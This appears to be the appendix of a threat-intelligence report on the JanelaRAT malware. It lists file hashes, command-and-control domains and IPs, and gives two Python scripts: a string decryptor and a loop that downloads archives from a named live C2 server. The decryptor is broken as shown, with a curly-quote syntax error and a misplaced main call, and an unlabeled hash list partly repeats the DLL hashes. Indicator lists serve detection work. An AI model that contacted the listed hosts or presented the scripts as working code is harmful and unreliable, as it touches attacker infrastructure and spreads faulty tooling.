- 5a5106ee07d277b373d13c9f3160fea0

- 7b70c957449ab51f8d561582f229d5cf
- 0898c4c1cb698cd29707db44352ab868
- 5f628223fa083e4598badfe7efae5269
- c2f4cb0da89b4ea86ab5369a942428eb
- 304202cbc70412e76a216257ff4d2085
- 398d0268535cba57fa3b33159bbe04f3
- e6c501b52165cd278724ea229e44a8b9
- c625443768b40cfbc93e28b92e874740
- c5f2d6d3d3ac3521d2b2f7fa90d3ee5e
- b036f1351ed5af87005978c7b6036d3d
- 3a336c5c7bd08587ad1709294d044e41
- fc79aa5093f55dfa18a20f538c5e475e
- 4b142b23110fbb7b98ad49c051d7a1af
- 76887ccf6de5b5f8d70cd6d91450b131
- 6364aa555ae8fd0ba5a8d97a2ffa314a
- 72c02b3181c763d0e67f060e91635a97
- 8b83e6b2d891cdf9250e9afd17081eab
- f4a42ef33e3a3a41b4e7ee0cd3173fb6
- 72f4e0f7ff7a82c1e5cb6480c0c90a00
- 1a47c3afa06960e8d8f54e507aa23675

JanelaRAT C2 domains

- cnt-blackrock.geekgalaxy.com
- aigodmoney009.access.ly
- freelascdmx979.couchpotatofries.org
- 439mdxmex.damnserver.com
- 897midasgold.ddns.me
- disrupmoney979.ditchyourip.com
- kakarotomx.dnsfor.me
- skigoldmex.dvrcam.info
- i89bydzi.dynns.com
- infintymexbrock.geekgalaxy.com
- brockmex57.golffan.us
- j1d3c3mex.homesecuritypc.com
- myfunbmdablo99.hosthampster.com
- irocketxmtm.hopto.me
- hotdiamond777.loginto.me
- imrpc7987bm.mmafan.biz
- dmrpc77bm.myactivedirectory.com
- jxjmrpc797bm.mydissent.net
- askmrpc747bm.mymediapc.net
- myinfintyme09.geekgalaxy.com
- infintymex747.geekgalaxy.com
- infintymexb.geekgalaxy.com
- jinfintymexbr.geekgalaxy.com
- minfintymexbr.geekgalaxy.com
- cinfintymex.geekgalaxy.com
- 9mdxmex.damnserver.com
- ikmidasgold.ddns.me
- rexsrupmoney979.ditchyourip.com
- kktkarotomx.dnsfor.me
- megaskigoldmex.dvrcam.info
- izt89bydzi.dynns.com
- zeedinfintymexbrock.geekgalaxy.com

JanelaRAT C2 IP addresses

- 191.96.224.215
- 192.99.169.240
- 191.96.79.24
- 167.88.168.132
- 102.165.46.28
- 189.89.15.37

MD5 hashes of JanelaRAT DLLs

- 99bf0fba15aa3a9a59cbf442a80364e5
- 999a9af2cd20a8c4bcf652e3523aafa3
- 8b83e6b2d891cdf9250e9afd17081eab
- e56d8632db98b07d2b49423f7dd64b42
- c2f4cb0da89b4ea86ab5369a942428eb
- 897e8483b673db70fdc5d3d111600cac
- 72c02b3181c763d0e67f060e91635a97
- c39f75423862c1525f089a5e966b9d04
- e841f4691e5107fe360b1528384a96f0
- 526a0b2d142567d8078e24ab0758fad7

Appendix - Python Scripts to Help You Approach JanelaRAT

Script for decrypting JanelaRAT strings

```
import base64
import hashlib
import sys
from Crypto.Cipher import AES


def decrypt_string(cyphertext: str, key: bytes) -> str:
    # handling the cyphertext
    cypertext_bytes = bytes(cyphertext, "utf-16")
    cypertext_decoded = base64.b64decode(cypertext_bytes)
    iv = cypertext_decoded[:16]
    # configuring the de-cryptor
    decryptor = AES.new(key, AES.MODE_CBC, iv=iv)
    # decrypting
    plaintext_bytes = decryptor.decrypt(cypertext_decoded)[16:]
    plaintext_decoded = plaintext_bytes.decode("utf-8")
    # print(plaintext_decoded)
    plaintext = "".join([c for c in plaintext_decoded if c.isalpha() or c.isnumeric() or c in (".", "|", "-", ":", "/", " ", "_", "{", "}", "?", "=", "@", "&", “#”)])
    # plaintext = plaintext_decoded
    return plaintext



def get_key(key: str) -> bytes:
    key_bytes = bytes(key, "utf-8")
    key_md5 = hashlib.md5(key_bytes)
    return key_md5.digest()



def main() -> int:
    args = sys.argv[1:]
    if len(args) != 2:
        print("usage: mx_strings_decryptor.py STRINGS_FILE KEY")
        return -1
    path, key = args
    # handling key
    key = get_key(key)
    # decrypting strings
    with open(path, "r") as sh:
        for encrypted_string in sh:
            # print(f">> {encrypted_string}")
            if len(encrypted_string) <= 16:
                print(encrypted_string.strip())
            else:
                try:
                    decrypted_string = decrypt_string(encrypted_string, key)
                    print(decrypted_string)
                except:
                    print(encrypted_string.strip())

        if __name__ == "__main__":
    main()
```

Script to fetch all archives from the C2 server

```
import requests
import json
import base64
import time

def fetchemall():
    for i in range(1,45,1):
        url = "http://zimbawhite.is-certified.com:3001/clientes/" + str(i)
        print("fetching archive number %d" %(i))
        res = requests.get(url)
        time.sleep(2)
        response = res.text
        j = json.loads(response)
        enc = j['Body']
        dec = base64.b64decode(enc)
        o_fname = str(i) + ".zip"
        with open(o_fname, "wb") as f:
            f.write(dec)
    return

if __name__ == "__main__":
    fetchemall()
```